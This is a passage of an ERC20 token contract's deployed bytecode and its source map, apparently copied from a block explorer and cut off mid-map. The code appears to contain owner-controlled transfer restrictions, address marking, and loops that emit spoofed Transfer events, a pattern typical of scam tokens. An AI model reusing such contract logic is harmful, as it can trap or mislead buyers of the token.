0009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b6142ed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180614f076026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161415614373576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180614f556025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156143f9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180614ec26023913960400191505060405180910390fd5b614404878787614ebc565b61446f85604051806060016040528060268152602001614f07602691396000808b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134149092919063ffffffff16565b6000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614502856000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ab390919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614156145c057600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1696505b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a3614eb0565b600a54831015614a7857600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141561473b576001600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614156147c1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180614f556025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415614847576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180614ec26023913960400191505060405180910390fd5b614852878787614ebc565b6148bd85604051806060016040528060268152602001614f07602691396000808b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134149092919063ffffffff16565b6000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614950856000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ab390919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161415614a0e57600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1696505b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a3614eaf565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480614b215750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b614b76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180614f076026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161415614bfc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180614f556025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415614c82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180614ec26023913960400191505060405180910390fd5b614c8d878787614ebc565b614cf885604051806060016040528060268152602001614f07602691396000808b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134149092919063ffffffff16565b6000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614d8b856000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ab390919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161415614e4957600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1696505b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a35b5b5b5b5b50505050505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212209ce46913314341f3a23deb9ff0bd599d9824581b346fe543ed9e262c68ce03d364736f6c634300060c0033
Deployed Bytecode Sourcemap
5139:11218:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7401:83;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8761:275;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;8584:169;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;7684:100;;;:::i;:::-;;;;;;;;;;;;;;;;;;;8096:315;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;7593:83;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;13799:226;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;16131:221;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;11362:298;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;9043:135;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;5783:66;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;14739:148;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;7792:119;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;13697:46;;;:::i;:::-;;15916:207;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;14901:127;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;15213:174;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;7492:87;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15703:205;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;7919:169;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;14500:229;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;5932:65;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;15040:153;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;13748:41;;;:::i;:::-;;14262:232;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;8423:151;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;14033:221;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;7401:83;7438:13;7471:5;7464:12;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7401:83;:::o;8761:275::-;8851:5;;;;;;;;;;;8837:19;;:10;:19;;;8829:38;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8883:9;8878:151;8902:11;:18;8898:1;:22;8878:151;;;8965:4;8941:5;:21;8947:11;8959:1;8947:14;;;;;;;;;;;;;;8941:21;;;;;;;;;;;;;;;;:28;;;;;;;;;;;;;;;;;;9012:5;8983:10;:26;8994:11;9006:1;8994:14;;;;;;;;;;;;;;8983:26;;;;;;;;;;;;;;;;:34;;;;;;;;;;;;;;;;;;8922:3;;;;;;;8878:151;;;;8761:275;:::o;8584:169::-;8667:4;8684:39;8693:12;:10;:12::i;:::-;8707:7;8716:6;8684:8;:39::i;:::-;8741:4;8734:11;;8584:169;;;;:::o;7684:100::-;7737:7;7764:12;;7757:19;;7684:100;:::o;8096:315::-;8202:4;8219:30;8223:6;8231:9;8242:6;8219:3;:30::i;:::-;8260:121;8269:6;8277:12;:10;:12::i;:::-;8291:89;8329:6;8291:89;;;;;;;;;;;;;;;;;:11;:19;8303:6;8291:19;;;;;;;;;;;;;;;:33;8311:12;:10;:12::i;:::-;8291:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;8260:8;:121::i;:::-;8399:4;8392:11;;8096:315;;;;;:::o;7593:83::-;7634:5;7659:9;;;;;;;;;;;7652:16;;7593:83;:::o;13799:226::-;13492:5;;;;;;;;;;;13478:19;;:10;:19;;;13470:55;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13932:9:::1;13927:97;13951:9;:16;13947:1;:20;13927:97;;;13996:9;14006:1;13996:12;;;;;;;;;;;;;;13980:42;;13989:5;13980:42;;;14010:8;14019:1;14010:11;;;;;;;;;;;;;;13980:42;;;;;;;;;;;;;;;;;;13969:3;;;;;;;13927:97;;;;13799:226:::0;;;:::o;16131:221::-;13492:5;;;;;;;;;;;13478:19;;:10;:19;;;13470:55;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16259:9:::1;16254:97;16278:9;:16;16274:1;:20;16254:97;;;16323:9;16333:1;16323:12;;;;;;;;;;;;;;16307:42;;16316:5;16307:42;;;16337:8;16346:1;16337:11;;;;;;;;;;;;;;16307:42;;;;;;;;;;;;;;;;;;16296:3;;;;;;;16254:97;;;;16131:221:::0;;;:::o;11362:298::-;11450:5;;;;;;;;;;;11436:19;;:10;:19;;;11428:63;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11517:24;11534:6;11517:12;;:16;;:24;;;;:::i;:::-;11502:12;:39;;;;11571:28;11592:6;11571:9;:16;11581:5;;;;;;;;;;;11571:16;;;;;;;;;;;;;;;;:20;;:28;;;;:::i;:::-;11552:9;:16;11562:5;;;;;;;;;;;11552:16;;;;;;;;;;;;;;;:47;;;;11636:7;11615:37;;11632:1;11615:37;;;11645:6;11615:37;;;;;;;;;;;;;;;;;;11362:298;;:::o;9043:135::-;9122:5;;;;;;;;;;;9108:19;;:10;:19;;;9100:38;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9161:9;9149;;:21;;;;;;;;;;;;;;;;;;9043:135;:::o;5783:66::-;;;;;;;;;;;;;:::o;14739:148::-;13492:5;;;;;;;;;;;13478:19;;:10;:19;;;13470:55;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14824:42:::1;14801:76;;14810:12;;;;;;;;;;;14801:76;;;14870:6;14868:1;:8;14801:76;;;;;;;;;;;;;;;;;;14739:148:::0;:::o;7792:119::-;7858:7;7885:9;:18;7895:7;7885:18;;;;;;;;;;;;;;;;7878:25;;7792:119;;;:::o;13697:46::-;13492:5;;;;;;;;;;;13478:19;;:10;:19;;;13470:55;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13697:46::o;15916:207::-;13492:5;;;;;;;;;;;13478:19;;:10;:19;;;13470:55;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16030:9:::1;16025:97;16049:9;:16;16045:1;:20;16025:97;;;16101:5;16078:42;;16087:9;16097:1;16087:12;;;;;;;;;;;;;;16078:42;;;16108:8;16117:1;16108:11;;;;;;;;;;;;;;16078:42;;;;;;;;;;;;;;;;;;16067:3;;;;;;;16025:97;;;;15916:207:::0;;;:::o;14901:127::-;13492:5;;;;;;;;;;;13478:19;;:10;:19;;;13470:55;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14976:4:::1;14959:5:::0;:16:::1;14965:9;14959:16;;;;;;;;;;;;;;;;:21;;;;;;;;;;;;;;;;;;14987:39;14996:9;15007:6;;;;;;;;;;;15014:11;;14987:8;:39::i;:::-;14901:127:::0;:::o;15213:174::-;15280:4;13492:5;;;;;;;;;;;13478:19;;:10;:19;;;13470:55;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15325:41:::1;15334:4;15340:12;:10;:12::i;:::-;15354:11;;15325:8;:41::i;:::-;15375:4;15368:11;;15213:174:::0;;;:::o;7492:87::-;7531:13;7564:7;7557:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7492:87;:::o;15703:205::-;13492:5;;;;;;;;;;;13478:19;;:10;:19;;;13470:55;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15815:9:::1;15810:97;15834:9;:16;15830:1;:20;15810:97;;;15886:5;15863:42;;15872:9;15882:1;15872:12;;;;;;;;;;;;;;15863:42;;;15893:8;15902:1;15893:11;;;;;;;;;;;;;;15863:42;;;;;;;;;;;;;;;;;;15852:3;;;;;;;15810:97;;;;15703:205:::0;;;:::o;7919:169::-;8005:4;8022:36;8026:12;:10;:12::i;:::-;8040:9;8051:6;8022:3;:36::i;:::-;8076:4;8069:11;;7919:169;;;;:::o;14500:229::-;13492:5;;;;;;;;;;;13478:19;;:10;:19;;;13470:55;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14636:9:::1;14631:97;14655:9;:16;14651:1;:20;14631:97;;;14700:9;14710:1;14700:12;;;;;;;;;;;;;;14684:42;;14693:5;14684:42;;;14714:8;14723:1;14714:11;;;;;;;;;;;;;;14684:42;;;;;;;;;;;;;;;;;;14673:3;;;;;;;14631:97;;;;14500:229:::0;;;:::o;5932:65::-;;;;;;;;;;;;;:::o;15040:153::-;13492:5;;;;;;;;;;;13478:19;;:10;:19;;;13470:55;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15144:5:::1;15127;:16;15133:9;15127:16;;;;;;;;;;;;;;;;:22;;;;;;;;;;;;;;;;;;15156:29;15165:9;15176:6;;;;;;;;;;;15183:1;15156:8;:29::i;:::-;15040:153:::0;:::o;13748:41::-;13492:5;;;;;;;;;;;13478:19;;:10;:19;;;13470:55;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13748:41::o;14262:232::-;13492:5;;;;;;;;;;;13478:19;;:10;:19;;;13470:55;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14401:9:::1;14396:97;14420:9;:16;14416:1;:20;14396:97;;;14465:9;14475:1;14465:12;;;;;;;;;;;;;;14449:42;;14458:5;14449:42;;;14479:8;14488:1;14479:11;;;;;;;;;;;;;;14449:42;;;;;;;;;;;;;;;;;;14438:3;;;;;;;14396:97;;;;14262:232:::0;;;:::o;8423:151::-;8512:7;8539:11;:18;8551:5;8539:18;;;;;;;;;;;;;;;:27;8558:7;8539:27;;;;;;;;;;;;;;;;8532:34;;8423:151;;;;:::o;14033:221::-;13492:5;;;;;;;;;;;13478:19;;:10;:19;;;13470:55;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14161:9:::1;14156:97;14180:9;:16;14176:1;:20;14156:97;;;14225:9;14235:1;14225:12;;;;;;;;;;;;;;14209:42;;14218:5;14209:42;;;14239:8;14248:1;14239:11;;;;;;;;;;;;;;14209:42;;;;;;;;;;;;;;;;;;14198:3;;;;;;;14156:97;;;;14033:221:::0;;;:::o;88:181::-;146:7;166:9;182:1;178;:5;166:17;;207:1;202;:6;;194:46;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;260:1;253:8;;;88:181;;;;:::o;4206:106::-;4259:15;4294:10;4287:17;;4206:106;:::o;12094:344::-;12213:1;12196:19;;:5;:19;;;;12188:68;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12294:1;12275:21;;:7;:21;;;;12267:68;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12376:6;12346:11;:18;12358:5;12346:18;;;;;;;;;;;;;;;:27;12365:7;12346:27;;;;;;;;;;;;;;;:36;;;;12414:7;12398:32;;12407:5;12398:32;;;12423:6;12398:32;;;;;;;;;;;;;;;;;;12094:344;;;:::o;12462:158::-;12536:4;12543:3;12549:4;12564:1;9305:9;;;;;;;;;;;9296:18;;:5;;;;;;;;;;;:18;;;:49;;;;;9340:5;;;;;;;;;;;9332:13;;:4;:13;;;9296:49;9278:1432;;;9387:4;9375:9;;:16;;;;;;;;;;;;;;;;;;12587:25:::1;12594:4;12601;12608:3;12587:5;:25::i;:::-;9278:1432:::0;;;9472:5;;;;;;;;;;;9464:13;;:4;:13;;;:52;;;;9507:9;;;;;;;;;;;9499:17;;:4;:17;;;9464:52;:88;;;;9547:5;;;;;;;;;;;9539:13;;:4;:13;;;9464:88;9442:1257;;;9642:5;;;;;;;;;;;9634:13;;:4;:13;;;:51;;;;;9681:4;9673:12;;:4;:12;;;9634:51;9608:166;;;9747:3;9731:13;:19;;;;9608:166;12587:25:::1;12594:4;12601;12608:3;12587:5;:25::i;:::-;9442:1257:::0;;;9885:4;9870:19;;:5;:11;9876:4;9870:11;;;;;;;;;;;;;;;;;;;;;;;;;:19;;;9844:840;;;12587:25:::1;12594:4;12601;12608:3;12587:5;:25::i;:::-;9844:840:::0;;;10025:4;10005:24;;:10;:16;10016:4;10005:16;;;;;;;;;;;;;;;;;;;;;;;;;:24;;;9979:682;;;10132:9;;;;;;;;;;;10124:17;;:4;:17;;;10101:99;;;;10193:6;;;;;;;;;;;10185:14;;:4;:14;;;10101:99;10093:150;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12587:25:::1;12594:4;12601;12608:3;12587:5;:25::i;:::-;9979:682:::0;;;10320:13;;10314:3;:19;10288:350;;;10408:9;;;;;;;;;;;10400:17;;:4;:17;;;10397:86;;;10438:4;10419:10;:16;10430:4;10419:16;;;;;;;;;;;;;;;;:23;;;;;;;;;;;;;;;;;;10458:5;10444;:11;10450:4;10444:11;;;;;;;;;;;;;;;;:19;;;;;;;;;;;;;;;;;;10397:86;12587:25:::1;12594:4;12601;12608:3;12587:5;:25::i;:::-;10288:350:::0;;;10527:9;;;;;;;;;;;10519:17;;:4;:17;;;10518:55;;;;10566:6;;;;;;;;;;;10558:14;;:4;:14;;;10518:55;10510:106;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12587:25:::1;12594:4;12601;12608:3;12587:5;:25::i;:::-;10288:350:::0;9979:682;9844:840;9442:1257;9278:1432;12462:158;;;;;;;:::o;421:192::-;507:7;540:1;535;:6;;543:12;527:29;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;567:9;583:1;579;:5;567:17;;604:1;597:8;;;421:192;;;;;:::o;12637:577::-;12713:4;12720:3;12726:4;12741:1;9305:9;;;;;;;;;;;9296:18;;:5;;;;;;;;;;;:18;;;:49;;;;;9340:5;;;;;;;;;;;9332:13;;:4;:13;;;9296:49;9278:1432;;;9387:4;9375:9;;:16;;;;;;;;;;;;;;;;;;12788:1:::1;12772:18;;:4;:18;;;;12764:68;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12867:1;12851:18;;:4;:18;;;;12843:66;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12922:37;12943:4;12949;12955:3;12922:20;:37::i;:::-;12988:66;13008:3;12988:66;;;;;;;;;;;;;;;;;:9;:15:::0;12998:4:::1;12988:15;;;;;;;;;;;;;;;;:19;;:66;;;;;:::i;:::-;12970:9;:15:::0;12980:4:::1;12970:15;;;;;;;;;;;;;;;:84;;;;13083:24;13103:3;13083:9;:15:::0;13093:4:::1;13083:15;;;;;;;;;;;;;;;;:19;;:24;;;;:::i;:::-;13065:9;:15:::0;13075:4:::1;13065:15;;;;;;;;;;;;;;;:42;;;;13130:5;;;;;;;;;;;13122:13;;:4;:13;;;13118:40;;;13144:12;;;;;;;;;;;13137:19;;13118:40;13188:4;13173:25;;13182:4;13173:25;;;13194:3;13173:25;;;;;;;;;;;;;;;;;;9278:1432:::0;;;9472:5;;;;;;;;;;;9464:13;;:4;:13;;;:52;;;;9507:9;;;;;;;;;;;9499:17;;:4;:17;;;9464:52;:88;;;;9547:5;;;;;;;;;;;9539:13;;:4;:13;;;9464:88;9442:1257;;;9642:5;;;;;;;;;;;9634:13;;:4;:13;;;:51;;;;;9681:4;9673:12;;:4;:12;;;9634:51;9608:166;;;9747:3;9731:13;:19;;;;9608:166;12788:1:::1;12772:18;;:4;:18;;;;12764:68;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12867:1;12851:18;;:4;:18;;;;12843:66;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12922:37;12943:4;12949;12955:3;12922:20;:37::i;:::-;12988:66;13008:3;12988:66;;;;;;;;;;;;;;;;;:9;:15:::0;12998:4:::1;12988:15;;;;;;;;;;;;;;;;:19;;:66;;;;;:::i;:::-;12970:9;:15:::0;12980:4:::1;12970:15;;;;;;;;;;;;;;;:84;;;;13083:24;13103:3;13083:9;:15:::0;13093:4:::1;13083:15;;;;;;;;;;;;;;;;:19;;:24;;;;:::i;:::-;13065:9;:15:::0;13075:4:::1;13065:15;;;;;;;;;;;;;;;:42;;;;13130:5;;;;;;;;;;;13122:13;;:4;:13;;;13118:40;;;13144:12;;;;;;;;;;;13137:19;;13118:40;13188:4;13173:25;;13182:4;13173:25;;;13194:3;13173:25;;;;;;;;;;;;;;;;;;9442:1257:::0;;;9885:4;9870:19;;:5;:11;9876:4;9870:11;;;;;;;;;;;;;;;;;;;;;;;;;:19;;;9844:840;;;12788:1:::1;12772:18;;:4;:18;;;;12764:68;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12867:1;12851:18;;:4;:18;;;;12843:66;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12922:37;12943:4;12949;12955:3;12922:20;:37::i;:::-;12988:66;13008:3;12988:66;;;;;;;;;;;;;;;;;:9;:15:::0;12998:4:::1;12988:15;;;;;;;;;;;;;;;;:19;;:66;;;;;:::i;:::-;12970:9;:15:::0;12980:4:::1;12970:15;;;;;;;;;;;;;;;:84;;;;13083:24;13103:3;13083:9;:15:::0;13093:4:::1;13083:15;;;;;;;;;;;;;;;;:19;;:24;;;;:::i;:::-;13065:9;:15:::0;13075:4:::1;13065:15;;;;;;;;;;;;;;;:42;;;;13130:5;;;;;;;;;;;13122:13;;:4;:13;;;13118:40;;;13144:12;;;;;;;;;;;13137:19;;13118:40;13188:4;13173:25;;13182:4;13173:25;;;13194:3;13173:25;;;;;;;;;;;;;;;;;;9844:840:::0;;;10025:4;10005:24;;:10;:16;10016:4;10005:16;;;;;;;;;;;;;;;;;;;;;;;;;:24;;;9979:682;;;10132:9;;;;;;;;;;;10124:17;;:4;:17;;;10101:99;;;;10193:6;;;;;;;;;;;10185:14;;:4;:14;;;10101:99;10093:150;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12788:1:::1;12772:18;;:4;:18;;;;12764:68;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12867:1;12851:18;;:4;:18;;;;12843:66;;;;;;;;;;;;;;;;;;;;;;;;